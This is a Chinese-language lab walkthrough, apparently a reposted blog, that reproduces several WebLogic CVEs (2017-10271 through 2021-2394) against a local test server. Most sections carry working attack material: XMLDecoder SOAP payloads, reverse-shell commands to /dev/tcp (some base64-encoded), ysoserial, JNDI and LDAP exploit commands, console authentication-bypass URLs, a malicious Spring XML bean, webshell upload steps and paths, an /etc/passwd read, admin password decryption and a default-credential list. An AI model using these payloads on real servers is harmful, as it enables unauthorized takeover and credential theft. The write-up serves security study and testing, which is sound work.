Weblogic漏洞复现

0x01:Weblogic环境搭建

安装包,需要不同版本的直接去官网下载即可

https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

双击打开

image-20210812014953267

点击下一步

image-20210812015006342

image-20210812015037060

image-20210812015118942

image-20210812015147579

image-20210812015429032

设置账号密码,Oracle@123

image-20210812015619742

image-20210812015737257

image-20210812015756485

image-20210812015845200

进入到目录,双击

image-20210812020312756

输入账号密码

image-20210812020550111

然后访问7001端口

image-20210812021659068

搭建成功

image-20210812021716152

0x02:WebLogic XMLDecoder 反序列化漏洞(CVE-2017-10271)

1. 漏洞原理

​ CVE-2017-10271漏洞产生的原因大致是Weblogic WLS Security 组件对外提供webservice服务,其中使用了 XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

2. 影响版本

10.3.6.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0

3. 漏洞地址

默认端口:7001
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

4. 漏洞复现

版本号10.3.6.0

image-20210808191419130

初步判断,访问192.168.88.133:7001/wls-wsat/CoordinatorPortType存在下图则可能存在在漏洞。

image-20210808191539802

访问上方漏洞路径都会出现相似的页面,我们通过数据包去验证漏洞是否存在。

POST  /wls-wsat/CoordinatorPortType  HTTP/1.1
Host: 192.168.88.133:7001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADMINCONSOLESESSION=llYJhP8TvzYxpGhV4LFc1l6QS7PpryrXbZkDy5H86nLSxspLvWhq!-2109495751
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 596

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
 <soapenv:Header>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java><java version="1.4.0" class="java.beans.XMLDecoder">
 <object class="java.io.PrintWriter">
 <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
 <void method="println">
<string>
 <![CDATA[
<% out.print("hello"); %>
 ]]>
 </string>
 </void>
 <void method="close"/>
 </object></java></java>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body/>
</soapenv:Envelope>

返回值为500。

image-20210808192700017

访问

http://192.168.88.133:7001/bea_wls_internal/test.jsp

image-20210808192828592

成功写入,存在漏洞

接着反弹shell。POS下面的数据

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.88.133/8888 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>

启动监听。

image-20210808193100371

成功返回shell

image-20210808193209039

0x03:Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

1. 漏洞原理

​ 在 WebLogic 里,攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。

​ 服务端监听ysoserial,上面的反射代码被集成到了ysoserial工具中的CommonsCollections 的payload中,最终依然是sun.reflect.annotation.AnnotationInvocationHandler。攻击端生成的payload发送给weblogic反序列化连接服务端,服务端把恶意序列化代码发送给weblogic,weblogic再反序列化实现攻击

​ 在InboundMsgAbbrev中resolveProxyClass中,resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,这就会导致任意一个rmi接口都可绕过。核心部分就是JRMP(Java Remote Method protocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行。

2. 影响版本

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

3. 漏洞复现

我们先使用nmap扫描是否使用了t3协议

image-20210817210044436

利用ysoserial启动一个JRMP Server服务

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "touch /tmp/1.txt"

image-20210808210455317

使用cve-2018-2628.py脚本,向目标Weblogic发送数据包,这里cve-2018-2628.py和ysoserial-0.0.6-SNAPSHOT-BETA-all.jar放置在同一目录下使用。

python CVE-2018-2628.py 192.168.88.133 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.88.133 9999 JRMPClient

image-20210817211509200

成功在目标机器上写入文件

image-20210808212015461

反弹shell

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"

image-20210817211730233

直接使用自动化工具一步到位。检测到漏洞之后

image-20210811135439834

拿到shell

image-20210817211745767

反弹shell

image-20210811135500971

反弹回shell

image-20210811135703946

0x04:Weblogic未授权访问+任意文件上传漏洞(CVE-2018-2894)

1. 漏洞原理

​ Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。Oracle修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制。两个页面分别为/ws_utc/begin.do/ws_utc/config.do

2. 影响版本

weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3

3. 漏洞复现

image-20210811140819254

未授权访问/ws_utc/config.do页面

image-20210811144459267

将目录设置为 ws_utc 应用的静态文件css目录,访问这个目录是无需权限的,设置Work Home Dir为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

然后点击左侧的安全 -> 增加,然后上传webshell:

image-20210811144715050

最后的文件名就是 时间戳_文件名

image-20210811144756908

然后访问http://192.168.88.133:7001/ws_utc/css/config/keystore/1628662540500_JspSpy.jsp,即可执行webshell

image-20210811144919221

0x05:Weblogic未授权访问+远程命令执行漏洞(CVE-2020-14882&CVE-2020-14883)

1. CVE-2020-14883: 权限绕过漏洞

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console

2. CVE-2020-14882: 代码执行漏洞

结合 CVE-2020-14883 漏洞,远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。

3. 影响版本

Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
Weblogic 14.1.1.0.0

4. 漏洞复现

我们访问

http://192.168.88.133:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

直接跳转到管理控制台

image-20210811150233293

此时的权限很低,并不能在后台安装应用,所以需要结合CVE-2020-14883漏洞,这个漏洞的利用方式有两种

  • 一是通过com.tangosol.coherence.mvel2.sh.ShellSession

  • 二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令

http://192.168.88.133:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/fuck%27);%22);

成功创建文件

image-20210811151016959

这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10版本并不存在com.tangosol.coherence.mvel2.sh.ShellSession类,使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类时,需要构造一个恶意的xml文件。构造恶意XML

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>/bin/bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/192.168.88.133/1234 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

然后通过这个类发出如下请求,即可让Weblogic加载这个xml,并执行其中的命令,成功反弹回shell

http://192.168.88.133:7001/console/css/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.88.133:8888/1.xml")

image-20210811162627772

0x06:Weblogic前台任意文件读取 && 弱口令 && 后台getshell

1. 任意文件读取

本环境存在弱口令:

  • weblogic

  • Oracle@123

    访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件

    image-20210812000955084

那么我们可以读取后台用户密文与密钥文件,weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml,在本环境中为./security/SerializedSystemIni.dat./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)。SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:

image-20210812003319040

config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的<node-manager-password-encrypted>的值,即为加密后的管理员密码,不要找错了:

image-20210812001418366

然后用靶场decrpty里面的工具解密

image-20210818210732050

2. 常用的Weblogic弱口令

system:password
weblogic:weblogic
admin:security
joe:password
mary:password
system:security
wlcsystem:wlcsystem
wlpisystem:wlpisystem

3. 后台上传war包GetShell

3.1 war简介

  • war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。war包放置到web目录下之后,可以自动解压,就相当于发布了
  • 简单来说,war包是JavaWeb程序打的包,war包里面包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等。一个war包可以理解为是一个web项目,里面是项目的所有东西

3.2 war打包

  • linux下把文件打包成war的压缩包
jar -cvf blog.war *
  • 查看example.war
jar -tf blog.war
  • 也可以先把文件压缩成zip,再改后缀名为war。

    点击部署

    image-20210812004041997

点击上传文件

image-20210812004118168

然后上传war包,一直下一步下一步然后完成。然后冰蝎连接

http://192.168.88.133:7001/shell/shell.jsp

image-20210812004447579

0x07:Weblogic IIOP协议反序列化RCE(CVE-2020-2551)

1. 漏洞原理

​ Weblogic IIOP协议默认开启,跟T3协议一起监听在7001端口,这次漏洞主要原因是错误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤,resolveClass方法是会读取父类的,所以T3协议这样过滤没问题。但是IIOP协议这块虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断,默认只会判断本类的类名,而JtaTransactionManager类不在黑名单列表里面并且存在jndi注入

2. 影响版本

使用marshalsec起一个恶意的RMI服务。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.88.133:8888/#Exploit" 9999

本地编译EXP,然后本地起一个Web服务器

exp

import java.io.IOException;

public class Exploit {
	static{
		try {
			java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
	public static void main(String[] args) {
		
	}
}

编译

javac Exploit.java

命令行运行jar包

java -jar weblogic_CVE_2020_2551.jar 192.168.88.133 7001 rmi://192.168.88.133:1099/Exploit

复现失败。。。

0x08:Weblogic远程代码执行漏洞(CVE-2021-2109)

漏洞原理

漏洞为Weblogic 的远程代码执行漏洞。漏洞主要由JNDI注入,导致攻击者可利用此漏洞远程代码执行

1. 影响版本

10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0

2. 漏洞复现

参考链接 https://mp.weixin.qq.com/s/-ExbVwY7K3fY07h-KP4DEA

这里使用docker来搭建环境

docker pull ismaleiva90/weblogic12
docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 ismaleiva90/weblogic12:latest

访问http://your-ip:49163/console即可看到页面,User: weblogic Pass: welcome1

启动LDAP

java -jar JNDIExploit-v1.11.jar -i 192.168.88.133

然后发送数据包

POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.88;133:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.88.133:49163
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
cmd:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
Connection: close
Referer: http://192.168.88.133:49163/console/console.portal?_nfpb=true&_pageLabel=HomePage1
Cookie: ADMINCONSOLESESSION=5ZY9z_8Wg654bjnM0Hmf8bqUjHKmT7Drs0qIkallCxuU154ML2u5!692946862
If-Modified-Since: Wed, 21 May 2014 19:34:20 GMT
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image-20210813124455254

反弹回shell

image-20210813124959775

2.1 配合未授权访问

配合 Weblogic未授权范围 命令执行
/console/css/../consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://192.168.88.133:1389/Basic/WeblogicEcho;AdminServer")

登录后台可使用此POC,未授权的话用上面的
/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer")
GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.88;133:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.88.133:49163
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.88.133:49163/console/login/LoginForm.jsp
cmd:id
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

image-20210813131144136

0x09:Weblogic T3反序列化(CVE-2021-2394)

1. 漏洞复现

这里借用cve-2020-14882的环境

命令如下:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/aaa.txt" -A 192.168.88.133 
-C [执行的命令] 
-A [开启ldap服务的ip]

image-20210813135257223

发包

image-20210813135317065

成功创建文件

image-20210813135826899

反弹shell,记得编码。

image-20210813140109238

0x10:Weblogic写Shell的几种方式

​ 对于反序列化漏洞,如果获得的是系统权限或者root权限,那就没必要上传木马,但如果只是web安装应用的权限,就上传获取更大权限。上传需要找到几个点,获取物理路径,如下面三种:

1. 方法一:把Webshell写在控制台images里面

\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp 
http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp

2. 方法二:写到uddiexplorer目录中

\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp 
访问 `http://*.*.*.*:7001/uddiexplorer/shell.jsp

3. 方法三:在应用安装目录中写

\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp 
访问 `http://*.*.*.*:7001/项目名/shell.jsp

参考链接

https://xz.aliyun.com/t/10365

https://cloud.tencent.com/developer/article/1861375

https://python.iitter.com/other/130547.html

原文地址:https://www.cnblogs.com/HelloCTF/p/15748363.html